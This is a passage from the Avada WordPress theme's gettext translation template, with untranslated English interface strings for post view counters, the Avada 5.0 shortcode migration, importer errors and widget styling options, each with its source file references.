includes/options/forms.php:227 msgid "Ajax" msgstr "" #: includes/class-awb-views-count.php:102 #: includes/class-awb-views-count.php:130 #: includes/lib/inc/fusion-app/templates/options/connected-sortable.php:39 #: includes/metaboxes/tabs/tab_form_general.php:77 #: includes/metaboxes/tabs/tab_off_canvas_design.php:165 #: includes/metaboxes/tabs/tab_off_canvas_overlay.php:237 #: includes/options/blog.php:813 includes/options/events_calendar.php:302 #: includes/options/forms.php:228 includes/options/performance.php:470 msgid "Disabled" msgstr "" #: includes/class-awb-views-count.php:106 msgid "Post Views User Type Counting" msgstr "" #: includes/class-awb-views-count.php:107 msgid "Select which types of users will increase post views on visit." msgstr "" #: includes/class-awb-views-count.php:115 #: includes/metaboxes/tabs/tab_form_general.php:93 #: includes/options/forms.php:239 msgid "Logged Out" msgstr "" #: includes/class-awb-views-count.php:116 #: includes/metaboxes/tabs/tab_form_general.php:94 #: includes/options/forms.php:240 msgid "Non-Admins" msgstr "" #: includes/class-awb-views-count.php:120 msgid "Current Post Visitor Counter" msgstr "" #: includes/class-awb-views-count.php:121 msgid "" "Set how the current post visiotr counter should get updated, or disable the " "counter. \"Page Load\" option will update using PHP when a page is " "retrieved. \"Ajax\" will send an additional request after the page loads." msgstr "" #: includes/class-awb-views-count.php:134 msgid "Current Post Visitor Counter Mode" msgstr "" #: includes/class-awb-views-count.php:135 msgid "" "Set the post visitors counter mode. \"Real\" will count the real visitors " "by IP, \"Fuzzy\" will use random numbers." msgstr "" #: includes/class-awb-views-count.php:140 msgid "Real" msgstr "" #: includes/class-awb-views-count.php:141 msgid "Fuzzy" msgstr "" #: includes/class-awb-views-count.php:154 msgid "Anonymize IPs" msgstr "" #: includes/class-awb-views-count.php:155 msgid "When enabled, visitor IP addresses are converted into anonymous hashed IDs." msgstr "" #: includes/class-awb-views-count.php:175 msgid "Current Post Visitor Counter Fuzzy Values" msgstr "" #: includes/class-awb-views-count.php:176 msgid "Set the maximum and the minimum values for the fuzzy post visitor counter." msgstr "" #: includes/class-awb-views-count.php:203 msgid "Current Post Visitor Live Counter" msgstr "" #: includes/class-awb-views-count.php:204 msgid "Turn on to update the counter while users are on the post in set intervals." msgstr "" #: includes/class-awb-views-count.php:219 msgid "Current Post Visitor Live Counter Update Interval" msgstr "" #: includes/class-awb-views-count.php:220 msgid "" "Set the interval length between two consecutive AJAX updates of the " "counter. In seconds." msgstr "" #: includes/class-fusion-builder-demos-theme-options.php:129 msgid "Select Prebuilt Website" msgstr "" #: includes/class-fusion-builder-migrate.php:306 msgid "Avada Shortcode Conversion" msgstr "" #: includes/class-fusion-builder-migrate.php:308 msgid "Revert Avada Shortcode Conversion" msgstr "" #: includes/class-fusion-builder-migrate.php:1082 #. translators: Version number. msgid "" "Avada 5.0 is an amazing update with new features, improvements and our " "brand new Avada Builder. To enjoy Avada 5.0, conversion steps need to be " "performed. Please see below. Thank you for choosing Avada!" msgstr "" #: includes/class-fusion-builder-migrate.php:1084 msgid "This is the reversion process. Please see below for further information." msgstr "" #: includes/class-fusion-builder-migrate.php:1128 msgid "IMPORTANT: Shortcode Conversion For Avada Builder" msgstr "" #: includes/class-fusion-builder-migrate.php:1130 msgid "Collect IDs of posts that need to be converted" msgstr "" #: includes/class-fusion-builder-migrate.php:1132 msgid "Convert posts, slides, widgets and theme-options to new shortcode syntax" msgstr "" #: includes/class-fusion-builder-migrate.php:1134 msgid "Congratulations! The conversion finished successfully!" msgstr "" #: includes/class-fusion-builder-migrate.php:1138 msgid "IMPORTANT: Revert Shortcode Conversion For Avada Builder" msgstr "" #: includes/class-fusion-builder-migrate.php:1140 msgid "Collect IDs of posts that need to be reverted" msgstr "" #: includes/class-fusion-builder-migrate.php:1142 msgid "" "Revert posts, slides, widgets and theme-options that were previously " "converted" msgstr "" #: includes/class-fusion-builder-migrate.php:1144 msgid "Congratulations! The reversion finished successfully!" msgstr "" #: includes/class-fusion-builder-migrate.php:1160 msgid "" "Our newly built Avada Builder is amazing and up to 5x faster. It needs to " "convert your old shortcodes to the new syntax. This will ensure all " "shortcodes use unique names, so there will be no conflicts with other " "plugins." msgstr "" #: includes/class-fusion-builder-migrate.php:1161 msgid "" "Avada will search through your posts and pages and collect IDs of all pages " "using the old shortcodes and convert them to our new syntax. A backup is " "created of those pages and posts, to ensure all your data is fully secure." msgstr "" #: includes/class-fusion-builder-migrate.php:1162 msgid "" "The process can take time, please be patient during conversion and DO NOT " "CLOSE THIS SCREEN!" msgstr "" #: includes/class-fusion-builder-migrate.php:1164 #. translators: Version number. msgid "" "If the migration is not performed, you won't be able to use Avada %s unless " "you manually trigger the conversion at a later time through the WP admin " "area." msgstr "" #: includes/class-fusion-builder-migrate.php:1166 #. translators: Download link containing the "download Avada 4.0.3 here" #. string. msgid "" "If you don't want your pages converted then please delete the new Avada " "folder and copy the old Avada folder to your server. If you did not backup " "your previous Avada theme folder, you can %s." msgstr "" #: includes/class-fusion-builder-migrate.php:1166 msgid "download Avada 4.0.3 here" msgstr "" #: includes/class-fusion-builder-migrate.php:1167 msgid "We recommend doing a full database backup before proceeding with conversion." msgstr "" #: includes/class-fusion-builder-migrate.php:1169 #. translators: Version number. msgid "" "By pressing the \"Start Conversion\" button below, you confirm that Avada " "should convert your posts and pages to the new shortcode syntax." msgstr "" #: includes/class-fusion-builder-migrate.php:1170 #: includes/class-fusion-builder-migrate.php:1178 msgid "I have read the above." msgstr "" #: includes/class-fusion-builder-migrate.php:1172 msgid "" "You have already converted your shortcodes to the new Avada 5.0 structure, " "but have chosen to revert back to their previous state before you installed " "Avada 5.0. This process does not downgrade you to the previous version of " "Avada." msgstr "" #: includes/class-fusion-builder-migrate.php:1174 #. translators: "Avada 4.0.3" text string & link. msgid "" "Once reversion is done, you can load a previous version of Avada onto your " "server. You can download %s here if you do not have a backup of your " "previous theme." msgstr "" #: includes/class-fusion-builder-migrate.php:1174 #: includes/class-fusion-builder-migrate.php:1225 msgid "Avada 4.0.3" msgstr "" #: includes/class-fusion-builder-migrate.php:1175 msgid "" "The process can take time, please be patient during reversion and DO NOT " "CLOSE THIS SCREEN!" msgstr "" #: includes/class-fusion-builder-migrate.php:1177 #. translators: Version number. msgid "" "By pressing the \"Start Reversion\" button below, you confirm that Avada " "should revert your posts and pages to the previous syntax." msgstr "" #: includes/class-fusion-builder-migrate.php:1185 #. translators: %1$s: post-type label. %2$s, %3%s, %4%s: Numbers. msgid "" "Currently scanning posts of post type \"%1$s\" (items %2$s to %3$s of %4$s " "total)." msgstr "" #: includes/class-fusion-builder-migrate.php:1195 #. translators: Number. msgid "Posts that need to be converted: %s" msgstr "" #: includes/class-fusion-builder-migrate.php:1198 #. translators: Number. msgid "Posts that need to be reverted: %s" msgstr "" #: includes/class-fusion-builder-migrate.php:1215 #. translators: Number. msgid "Remaining items to convert: %s" msgstr "" #: includes/class-fusion-builder-migrate.php:1218 #. translators: Number. msgid "Remaining items to revert: %s" msgstr "" #: includes/class-fusion-builder-migrate.php:1222 msgid "" "All needed posts have been converted to the new Avada Builder syntax. You " "can now update Avada Core and install Avada Builder plugin." msgstr "" #: includes/class-fusion-builder-migrate.php:1225 #. translators: "Avada 4.0.3" link & string. msgid "" "All needed posts have been reverted to the previous syntax. You can now " "roll-back to %s." msgstr "" #: includes/class-fusion-builder-migrate.php:1282 #. translators: %1%s: post-type label. %2$s: Number. msgid "Scanning posts of post type \"%1$s\". Total posts: %2$s." msgstr "" #: includes/class-fusion-builder-migrate.php:1311 msgid "Converting posts." msgstr "" #: includes/class-fusion-builder-migrate.php:1312 msgid "Converting slides." msgstr "" #: includes/class-fusion-builder-migrate.php:1313 msgid "Converting widgets." msgstr "" #: includes/class-fusion-builder-migrate.php:1314 msgid "Converting theme options." msgstr "" #: includes/class-fusion-builder-migrate.php:1316 msgid "Reverting posts." msgstr "" #: includes/class-fusion-builder-migrate.php:1317 msgid "Reverting slides." msgstr "" #: includes/class-fusion-builder-migrate.php:1318 msgid "Reverting widgets." msgstr "" #: includes/class-fusion-builder-migrate.php:1319 msgid "Reverting theme options." msgstr "" #: includes/class-fusion-builder-migrate.php:1340 msgid "Start Reversion" msgstr "" #: includes/class-fusion-builder-migrate.php:1342 msgid "Start Conversion" msgstr "" #: includes/class-fusion-builder-migrate.php:1348 msgid "Do Not Revert" msgstr "" #: includes/class-fusion-builder-migrate.php:1350 msgid "Do Not Convert" msgstr "" #: includes/class-fusion-builder-migrate.php:1362 msgid "Please confirm that you have read the instructions, by checking the box." msgstr "" #: includes/class-fusion-builder-migrate.php:1369 #: includes/class-fusion-builder-migrate.php:1386 msgid "Take me to Admin" msgstr "" #: includes/class-fusion-builder-migrate.php:1390 msgid "Update Required Plugins" msgstr "" #: includes/class-fusion-image-resizer.php:67 msgid "No image URL has been entered." msgstr "" #: includes/custom-functions.php:212 includes/custom-functions.php:215 #: includes/lib/inc/widgets/class-fusion-widget-vertical-menu.php:150 msgid "Back to Parent Page" msgstr "" #: includes/dynamic-css.php:134 msgid "Please enter correct details for this required field." msgstr "" #: includes/importer/avada-cp-import-functions.php:41 #: includes/importer/avada-cp-import-functions.php:331 #: includes/importer/avada-cp-import-functions.php:612 #. translators:%s zip name . msgid "Failed to Open. Error Code: %s " msgstr "" #: includes/importer/avada-cp-import-functions.php:67 #: includes/importer/avada-cp-import-functions.php:357 #: includes/importer/avada-cp-import-functions.php:638 msgid "Unable to extract the file." msgstr "" #: includes/importer/avada-cp-import-functions.php:107 #: includes/importer/avada-cp-import-functions.php:398 #: includes/importer/avada-cp-import-functions.php:680 #. translators:%s module name . msgid "" "Seems that the file have uploaded the wrong file. This file can be imported " "for %s " msgstr "" #: includes/importer/avada-cp-import-functions.php:120 #: includes/importer/avada-cp-import-functions.php:411 msgid "" "Seems that the file is different from the exported modal zip. Please try " "with another zip file." msgstr "" #: includes/importer/avada-cp-import-functions.php:252 #: includes/importer/avada-cp-import-functions.php:535 #: includes/importer/avada-cp-import-functions.php:838 msgid "Style Already Exists! Please try importing another style." msgstr "" #: includes/importer/avada-cp-import-functions.php:284 #: includes/importer/avada-cp-import-functions.php:567 #: includes/importer/avada-cp-import-functions.php:870 msgid "imported successfully!" msgstr "" #: includes/importer/avada-cp-import-functions.php:293 #: includes/importer/avada-cp-import-functions.php:576 #: includes/importer/avada-cp-import-functions.php:879 msgid "Something went wrong! Please try again with different file." msgstr "" #: includes/importer/avada-cp-import-functions.php:693 msgid "" "Seems that the file is different from the exported info bar zip. Please try " "with another zip file." msgstr "" #: includes/importer/avada-cp-import-functions.php:976 msgid "Unable to delete the style. Please Try again." msgstr "" #: includes/importer/class-avada-demo-import.php:277 #. translators: %1$s: Opening span tag. %2$s: PHP error message. %3$s: PHP file #. path. %4$s: PHP file line. %5$s: Closing span tag. msgid "%1$sPHP ERROR: %2$s in %3$s on line %4$s.%5$s" msgstr "" #: includes/importer/class-avada-demo-import.php:279 #. translators: %1$s: Opening span tag. %2$: Opening anchor tag. %3$s: closing #. ancor tag. %4$s: Closing span tag. msgid "" "%1$sIf you need help to debug this, please create a %2$s support " "ticket%3$s.%4$s" msgstr "" #: includes/lib/inc/class-awb-widget-framework.php:216 msgid "Single Sidebar Layouts" msgstr "" #: includes/lib/inc/class-awb-widget-framework.php:222 msgid "Single Sidebar Width" msgstr "" #: includes/lib/inc/class-awb-widget-framework.php:223 #: includes/options/events_calendar.php:313 msgid "Controls the width of the sidebar when only one sidebar is present." msgstr "" #: includes/lib/inc/class-awb-widget-framework.php:235 msgid "Single Sidebar Gutter" msgstr "" #: includes/lib/inc/class-awb-widget-framework.php:236 msgid "Controls the space between the main content and a single sidebar." msgstr "" #: includes/lib/inc/class-awb-widget-framework.php:247 msgid "Dual Sidebar Layouts" msgstr "" #: includes/lib/inc/class-awb-widget-framework.php:253 msgid "Dual Sidebar Width 1" msgstr "" #: includes/lib/inc/class-awb-widget-framework.php:254 #: includes/options/events_calendar.php:332 msgid "Controls the width of sidebar 1 when dual sidebars are present." msgstr "" #: includes/lib/inc/class-awb-widget-framework.php:266 msgid "Dual Sidebar Width 2" msgstr "" #: includes/lib/inc/class-awb-widget-framework.php:267 #: includes/options/events_calendar.php:345 msgid "Controls the width of sidebar 2 when dual sidebars are present." msgstr "" #: includes/lib/inc/class-awb-widget-framework.php:279 msgid "Dual Sidebar Gutter" msgstr "" #: includes/lib/inc/class-awb-widget-framework.php:280 msgid "" "Controls the space between the main content and the sidebar when dual " "sidebars are present." msgstr "" #: includes/lib/inc/class-awb-widget-framework.php:305 msgid "Side Navigation Behavior" msgstr "" #: includes/lib/inc/class-awb-widget-framework.php:306 msgid "" "Controls if the child pages show on click or hover for the side navigation " "page template." msgstr "" #: includes/lib/inc/class-awb-widget-framework.php:311 #: includes/lib/inc/redux/framework/FusionReduxCore/inc/fields/link_color/field_link_color.php:96 #: includes/lib/inc/widgets/class-fusion-widget-vertical-menu.php:343 msgid "Hover" msgstr "" #: includes/lib/inc/class-awb-widget-framework.php:312 #: includes/lib/inc/widgets/class-fusion-widget-vertical-menu.php:344 msgid "Click" msgstr "" #: includes/lib/inc/class-awb-widget-framework.php:334 msgid "Side Navigation Font Size" msgstr "" #: includes/lib/inc/class-awb-widget-framework.php:335 msgid "" "Controls the font size for the menu text when using the side navigation " "page template." msgstr "" #: includes/lib/inc/class-awb-widget-framework.php:1340 msgid "Default widget area of Avada" msgstr "" #: includes/lib/inc/class-awb-widget-style.php:166 msgid "Display Widget Title" msgstr "" #: includes/lib/inc/class-awb-widget-style.php:167 msgid "" "Choose to enable or disable the widget title. Specifically useful for WP's " "default widget titles." msgstr "" #: includes/lib/inc/class-awb-widget-style.php:170 #: includes/lib/inc/class-fusion-settings.php:515 #: includes/lib/inc/class-fusion-settings.php:541 #: includes/lib/inc/fusion-app/helpers.php:359 #: includes/lib/inc/widgets/class-fusion-widget-social-links.php:595 #: includes/lib/inc/widgets/class-fusion-widget-social-links.php:629 #: includes/lib/inc/widgets/class-fusion-widget-social-links.php:637 #: includes/metaboxes/options/options_slide.php:95 #: includes/metaboxes/options/options_slide.php:104 #: includes/metaboxes/options/options_slide.php:113 #: includes/metaboxes/options/options_slide.php:122 #: includes/metaboxes/options/options_slide.php:206 #: includes/metaboxes/options/options_slide.php:281 #: includes/metaboxes/options/options_slide.php:319 #: includes/metaboxes/tabs/tab_content.php:95 #: includes/metaboxes/tabs/tab_content.php:98 #: includes/metaboxes/tabs/tab_content.php:109 #: includes/metaboxes/tabs/tab_content.php:122 #: includes/metaboxes/tabs/tab_content.php:138 #: includes/metaboxes/tabs/tab_content.php:198 #: includes/metaboxes/tabs/tab_footer.php:46 #: includes/metaboxes/tabs/tab_footer.php:68 #: includes/metaboxes/tabs/tab_footer.php:90 #: includes/metaboxes/tabs/tab_form_appearance.php:88 #: includes/metaboxes/tabs/tab_form_general.php:43 #: includes/metaboxes/tabs/tab_form_notifications.php:126 #: includes/metaboxes/tabs/tab_form_notifications.php:162 #: includes/metaboxes/tabs/tab_form_notifications.php:182 #: includes/metaboxes/tabs/tab_form_privacy.php:31 #: includes/metaboxes/tabs/tab_form_steps.php:538 #: includes/metaboxes/tabs/tab_form_steps.php:794 #: includes/metaboxes/tabs/tab_form_steps.php:1071 #: includes/metaboxes/tabs/tab_form_steps.php:1091 #: includes/metaboxes/tabs/tab_fusion_template.php:29 #: includes/metaboxes/tabs/tab_fusion_template.php:41 #: includes/metaboxes/tabs/tab_fusion_template.php:53 #: includes/metaboxes/tabs/tab_header.php:65 #: includes/metaboxes/tabs/tab_header.php:78 #: includes/metaboxes/tabs/tab_header.php:144 #: includes/metaboxes/tabs/tab_off_canvas_close.php:32 #: includes/metaboxes/tabs/tab_off_canvas_close.php:51 #: includes/metaboxes/tabs/tab_off_canvas_close.php:63 #: includes/metaboxes/tabs/tab_off_canvas_close.php:82 #: includes/metaboxes/tabs/tab_off_canvas_conditions.php:32 #: includes/metaboxes/tabs/tab_off_canvas_design.php:339 #: includes/metaboxes/tabs/tab_off_canvas_overlay.php:36 #: includes/metaboxes/tabs/tab_off_canvas_overlay.php:51 #: includes/metaboxes/tabs/tab_off_canvas_rules.php:108 #: includes/metaboxes/tabs/tab_off_canvas_rules.php:136 #: includes/metaboxes/tabs/tab_off_canvas_triggers.php:33 #: includes/metaboxes/tabs/tab_off_canvas_triggers.php:47 #: includes/metaboxes/tabs/tab_off_canvas_triggers.php:76 #: includes/metaboxes/tabs/tab_off_canvas_triggers.php:182 #: includes/metaboxes/tabs/tab_off_canvas_triggers.php:210 #: includes/metaboxes/tabs/tab_off_canvas_triggers.php:223 #: includes/metaboxes/tabs/tab_off_canvas_triggers.php:255 #: includes/metaboxes/tabs/tab_page.php:91 #: includes/metaboxes/tabs/tab_pagetitlebar.php:276 #: includes/metaboxes/tabs/tab_pagetitlebar.php:346 #: includes/metaboxes/tabs/tab_pagetitlebar.php:361 #: includes/metaboxes/tabs/tab_portfolio_post.php:81 #: includes/metaboxes/tabs/tab_portfolio_post.php:125 #: includes/metaboxes/tabs/tab_portfolio_post.php:140 #: includes/metaboxes/tabs/tab_portfolio_post.php:207 #: includes/metaboxes/tabs/tab_post.php:47 #: includes/metaboxes/tabs/tab_post.php:129 #: includes/metaboxes/tabs/tab_sliders.php:188 #: includes/metaboxes/tabs/tab_studio.php:74 #: includes/metaboxes/tabs/tab_studio.php:87 msgid "Yes" msgstr "" #: includes/lib/inc/class-awb-widget-style.php:171 #: includes/lib/inc/class-fusion-settings.php:515 #: includes/lib/inc/class-fusion-settings.php:541 #: includes/lib/inc/fusion-app/helpers.php:360 #: includes/lib/inc/widgets/class-fusion-widget-author.php:330 #: includes/lib/inc/widgets/class-fusion-widget-author.php:364 #: includes/lib/inc/widgets/class-fusion-widget-social-links.php:594 #: includes/lib/inc/widgets/class-fusion-widget-social-links.php:628 #: includes/lib/inc/widgets/class-fusion-widget-social-links.php:636 #: includes/metaboxes/options/options_slide.php:96 #: includes/metaboxes/options/options_slide.php:105 #: includes/metaboxes/options/options_slide.php:114 #: includes/metaboxes/options/options_slide.php:123 #: includes/metaboxes/options/options_slide.php:207 #: includes/metaboxes/options/options_slide.php:282 #: includes/metaboxes/options/options_slide.php:320 #: includes/metaboxes/tabs/tab_content.php:96 #: includes/metaboxes/tabs/tab_content.php:99 #: includes/metaboxes/tabs/tab_content.php:110 #: includes/metaboxes/tabs/tab_content.php:123 #: includes/metaboxes/tabs/tab_content.php:139 #: includes/metaboxes/tabs/tab_content.php:197 #: includes/metaboxes/tabs/tab_footer.php:47 #: includes/metaboxes/tabs/tab_footer.php:69 #: includes/metaboxes/tabs/tab_footer.php:91 #: includes/metaboxes/tabs/tab_form_appearance.php:89 #: includes/metaboxes/tabs/tab_form_general.php:44 #: includes/metaboxes/tabs/tab_form_notifications.php:127 #: includes/metaboxes/tabs/tab_form_notifications.php:163 #: includes/metaboxes/tabs/tab_form_notifications.php:183 #: includes/metaboxes/tabs/tab_form_privacy.php:32 #: includes/metaboxes/tabs/tab_form_steps.php:539 #: includes/metaboxes/tabs/tab_form_steps.php:795 #: includes/metaboxes/tabs/tab_form_steps.php:1072 #: includes/metaboxes/tabs/tab_form_steps.php:1092 #: includes/metaboxes/tabs/tab_fusion_template.php:30 #: includes/metaboxes/tabs/tab_fusion_template.php:42 #: includes/metaboxes/tabs/tab_fusion_template.php:54 #: includes/metaboxes/tabs/tab_header.php:66 #: includes/metaboxes/tabs/tab_header.php:79 #: includes/metaboxes/tabs/tab_header.php:143 #: includes/metaboxes/tabs/tab_off_canvas_close.php:33 #: includes/metaboxes/tabs/tab_off_canvas_close.php:52 #: includes/metaboxes/tabs/tab_off_canvas_close.php:64 #: includes/metaboxes/tabs/tab_off_canvas_close.php:83 #: includes/metaboxes/tabs/tab_off_canvas_conditions.php:33 #: includes/metaboxes/tabs/tab_off_canvas_design.php:340 #: includes/metaboxes/tabs/tab_off_canvas_overlay.php:37 #: includes/metaboxes/tabs/tab_off_canvas_overlay.php:52 #: includes/metaboxes/tabs/tab_off_canvas_rules.php:109 #: includes/metaboxes/tabs/tab_off_canvas_rules.php:137 #: includes/metaboxes/tabs/tab_off_canvas_triggers.php:34 #: includes/metaboxes/tabs/tab_off_canvas_triggers.php:48 #: includes/metaboxes/tabs/tab_off_canvas_triggers.php:77 #: includes/metaboxes/tabs/tab_off_canvas_triggers.php:183 #: includes/metaboxes/tabs/tab_off_canvas_triggers.php:211 #: includes/metaboxes/tabs/tab_off_canvas_triggers.php:224 #: includes/metaboxes/tabs/tab_off_canvas_triggers.php:256 #: includes/metaboxes/tabs/tab_page.php:90 #: includes/metaboxes/tabs/tab_pagetitlebar.php:277 #: includes/metaboxes/tabs/tab_pagetitlebar.php:345 #: includes/metaboxes/tabs/tab_pagetitlebar.php:360 #: includes/metaboxes/tabs/tab_portfolio_post.php:82 #: includes/metaboxes/tabs/tab_portfolio_post.php:126 #: includes/metaboxes/tabs/tab_portfolio_post.php:141 #: includes/metaboxes/tabs/tab_portfolio_post.php:208 #: includes/metaboxes/tabs/tab_post.php:48 #: includes/metaboxes/tabs/tab_post.php:130 #: includes/metaboxes/tabs/tab_sliders.php:189 #: includes/metaboxes/tabs/tab_studio.php:75 #: includes/metaboxes/tabs/tab_studio.php:88 msgid "No" msgstr "" #: includes/lib/inc/class-awb-widget-style.php:177 #: includes/metaboxes/tabs/tab_off_canvas_design.php:302 msgid "Padding" msgstr "" #: includes/lib/inc/class-awb-widget-style.php:178 msgid "" "Controls the padding for this widget container. Enter value including any " "valid CSS unit, ex: 10px." msgstr "" #: includes/lib/inc/class-awb-widget-style.php:184 #: includes/metaboxes/tabs/tab_off_canvas_design.php:286 msgid "Margin" msgstr "" #: includes/lib/inc/class-awb-widget-style.php:185 msgid "" "Controls the margin for this widget container. Enter value including any " "valid CSS unit, ex: 10px." msgstr "" #: includes/lib/inc/class-awb-widget-style.php:191 #: includes/lib/inc/fusion-app/helpers.php:431 #: includes/metaboxes/tabs/tab_header.php:96 #: includes/metaboxes/tabs/tab_off_canvas_design.php:26 #: includes/metaboxes/tabs/tab_off_canvas_overlay.php:64 msgid "Background Color" msgstr "" #: includes/lib/inc/class-awb-widget-style.php:192 msgid "Controls the background color for this widget container." msgstr "" #: includes/lib/inc/class-awb-widget-style.php:198 msgid "Background Border Radius" msgstr "" #: includes/lib/inc/class-awb-widget-style.php:199 msgid "Controls the background border radius for this widget container." msgstr "" #: includes/lib/inc/class-awb-widget-style.php:205 #: includes/lib/inc/fusion-app/helpers.php:454 msgid "Border Size" msgstr "" #: includes/lib/inc/class-awb-widget-style.php:206 msgid "Controls the border size for this widget container." msgstr "" #: includes/lib/inc/class-awb-widget-style.php:216 msgid "Border Style" msgstr "" #: includes/lib/inc/class-awb-widget-style.php:217 msgid "Controls the border style for this widget container." msgstr "" #: includes/lib/inc/class-awb-widget-style.php:230 #: includes/metaboxes/tabs/tab_form_steps.php:205 #: includes/metaboxes/tabs/tab_form_steps.php:350 #: includes/metaboxes/tabs/tab_form_steps.php:707 #: includes/options/footer.php:678 includes/options/typography.php:380 #: includes/options/typography.php:503 msgid "Dotted" msgstr "" #: includes/lib/inc/class-awb-widget-style.php:231 #: includes/metaboxes/tabs/tab_form_steps.php:204 #: includes/metaboxes/tabs/tab_form_steps.php:349 #: includes/metaboxes/tabs/tab_form_steps.php:706 #: includes/options/footer.php:677 includes/options/typography.php:381 #: includes/options/typography.php:504 msgid "Dashed" msgstr "" #: includes/lib/inc/class-awb-widget-style.php:236 #: includes/lib/inc/fusion-app/helpers.php:432 #: includes/metaboxes/tabs/tab_off_canvas_design.php:276 msgid "Border Color" msgstr "" #: includes/lib/inc/class-awb-widget-style.php:237 msgid "Controls the border color for this widget container." msgstr "" #: includes/lib/inc/class-awb-widget-style.php:250 msgid "Divider Color" msgstr "" #: includes/lib/inc/class-awb-widget-style.php:251 msgid "" "Controls the color of dividers in this widget container. Leave empty for " "the Global Options default value or no dividers when using the vertical " "menu widget." msgstr "" #: includes/lib/inc/class-awb-widget-style.php:257 msgid "Content Align" msgstr "" #: includes/lib/inc/class-awb-widget-style.php:258 msgid "" "Controls content alignment for this widget container. Inherit means it will " "inherit alignment from its parent element." msgstr "" #: includes/lib/inc/class-awb-widget-style.php:262 #: includes/lib/inc/class-awb-widget-style.php:275 msgid "Inherit" msgstr "" #: includes/lib/inc/class-awb-widget-style.php:263 #: includes/lib/inc/class-awb-widget-style.php:276 #: includes/lib/inc/fusion-app/class-fusion-preferences.php:167 #: includes/lib/inc/fusion-app/helpers.php:488 #: includes/lib/inc/redux/custom-fields/spacing/field_spacing.php:129 #: includes/lib/inc/redux/framework/FusionReduxCore/inc/fields/border/field_border.php:162 #: includes/lib/inc/widgets/class-fusion-widget-menu.php:188 #: includes/lib/inc/widgets/class-fusion-widget-social-links.php:620 #: includes/lib/inc/widgets/class-fusion-widget-vertical-menu.php:351 #: includes/metaboxes/options/options_slide.php:139 #: includes/metaboxes/tabs/tab_form_steps.php:983 #: includes/metaboxes/tabs/tab_off_canvas_animation.php:80 #: includes/metaboxes/tabs/tab_off_canvas_animation.php:217 #: includes/metaboxes/tabs/tab_off_canvas_close.php:101 #: includes/metaboxes/tabs/tab_off_canvas_general.php:73 #: includes/metaboxes/tabs/tab_pagetitlebar.php:196 #: includes/metaboxes/tabs/tab_sidebars.php:250 #: includes/metaboxes/tabs/tab_sidebars.php:276 #: includes/metaboxes/tabs/tab_template.php:467 includes/options/blog.php:531 #: includes/options/extra.php:509 includes/options/extra.php:1118 #: includes/options/header.php:132 includes/options/logo.php:54 #: includes/options/menu.php:1092 includes/options/menu.php:1449 #: includes/options/menu.php:2790 includes/options/menu.php:3184 #: includes/options/page_title_bar.php:360 includes/options/portfolio.php:322 #: includes/options/sidebars.php:236 includes/options/sidebars.php:283 #: includes/options/sidebars.php:408 includes/options/sidebars.php:480 #: includes/options/sidebars.php:526 includes/options/sidebars.php:605 #: includes/options/sidebars.php:652 includes/options/sliding_bar.php:148 #: includes/options/sliding_bar.php:386 includes/options/social_media.php:260 #: includes/options/social_media.php:515 includes/options/social_media.php:878 #: includes/options/woocommerce.php:207 msgid "Left" msgstr "" #: includes/lib/inc/class-awb-widget-style.php:264 #: includes/lib/inc/class-awb-widget-style.php:277 #: includes/lib/inc/fusion-app/class-fusion-preferences.php:168 #: includes/lib/inc/fusion-app/helpers.php:489 #: includes/lib/inc/redux/custom-fields/spacing/field_spacing.php:115 #: includes/lib/inc/redux/framework/FusionReduxCore/inc/fields/border/field_border.php:148 #: includes/lib/inc/widgets/class-fusion-widget-menu.php:190 #: includes/lib/inc/widgets/class-fusion-widget-social-links.php:618 #: includes/lib/inc/widgets/class-fusion-widget-vertical-menu.php:352 #: includes/metaboxes/options/options_slide.php:141 #: includes/metaboxes/tabs/tab_form_steps.php:985 #: includes/metaboxes/tabs/tab_off_canvas_animation.php:78 #: includes/metaboxes/tabs/tab_off_canvas_animation.php:215 #: includes/metaboxes/tabs/tab_off_canvas_close.php:100 #: includes/metaboxes/tabs/tab_off_canvas_general.php:71 #: includes/metaboxes/tabs/tab_pagetitlebar.php:198 #: includes/metaboxes/tabs/tab_sidebars.php:251 #: includes/metaboxes/tabs/tab_sidebars.php:277 #: includes/metaboxes/tabs/tab_template.php:468 includes/options/blog.php:533 #: includes/options/extra.php:510 includes/options/extra.php:1120 #: includes/options/header.php:133 includes/options/lightbox.php:118 #: includes/options/logo.php:56 includes/options/menu.php:1094 #: includes/options/menu.php:1450 includes/options/menu.php:2792 #: includes/options/menu.php:3182 includes/options/page_title_bar.php:362 #: includes/options/portfolio.php:324 includes/options/sidebars.php:237 #: includes/options/sidebars.php:284 includes/options/sidebars.php:409 #: includes/options/sidebars.php:481 includes/options/sidebars.php:527 #: includes/options/sidebars.php:606 includes/options/sidebars.php:653 #: includes/options/sliding_bar.php:146 includes/options/sliding_bar.php:388 #: includes/options/social_media.php:258 includes/options/social_media.php:513 #: includes/options/social_media.php:876 includes/options/woocommerce.php:205 msgid "Right" msgstr "" #: includes/lib/inc/class-awb-widget-style.php:265 #: includes/lib/inc/class-awb-widget-style.php:278 #: includes/lib/inc/widgets/class-fusion-widget-menu.php:189 #: includes/metaboxes/options/options_slide.php:140 #: includes/metaboxes/tabs/tab_form_steps.php:984 #: includes/metaboxes/tabs/tab_off_canvas_general.php:182 #: includes/metaboxes/tabs/tab_off_canvas_general.php:208 #: includes/metaboxes/tabs/tab_off_canvas_general.php:283 #: includes/metaboxes/tabs/tab_off_canvas_general.php:319 #: includes/metaboxes/tabs/tab_pagetitlebar.php:197 #: includes/options/blog.php:532 includes/options/elastic_slider.php:84 #: includes/options/logo.php:55 includes/options/menu.php:1093 #: includes/options/menu.php:2791 includes/options/page_title_bar.php:361 #: includes/options/portfolio.php:323 includes/options/sliding_bar.php:387 msgid "Center" msgstr "" #: includes/lib/inc/class-awb-widget-style.php:270 msgid "Mobile Content Align" msgstr "" #: includes/lib/inc/class-awb-widget-style.php:271 msgid "" "Controls mobile content alignment for this widget container. Inherit means " "it will inherit alignment from its parent element." msgstr "" #: includes/lib/inc/class-awb-widget-style.php:405 #: includes/lib/inc/class-awb-widget-style.php:412 msgid "Avada Widget Options" msgstr "" #: includes/lib/inc/class-awb-widget-style.php:414 msgid "These options apply to the widget container, not the actual widget." msgstr "" #: includes/lib/inc/class-fusion-breadcrumbs.php:167 msgid "Tag:" msgstr "" #: includes/lib/inc/class-fusion-breadcrumbs.php:168 msgid "Search:" msgstr "" #: includes/lib/inc/class-fusion-breadcrumbs.php:169 msgid "404 - Page not Found" msgstr "" #: includes/lib/inc/class-fusion-breadcrumbs.php:280 msgid "Breadcrumb" msgstr "" #: includes/lib/inc/class-fusion-data.php:182 #: includes/lib/inc/widgets/class-fusion-widget-social-links.php:326 #: includes/options/contact.php:63 msgid "Email 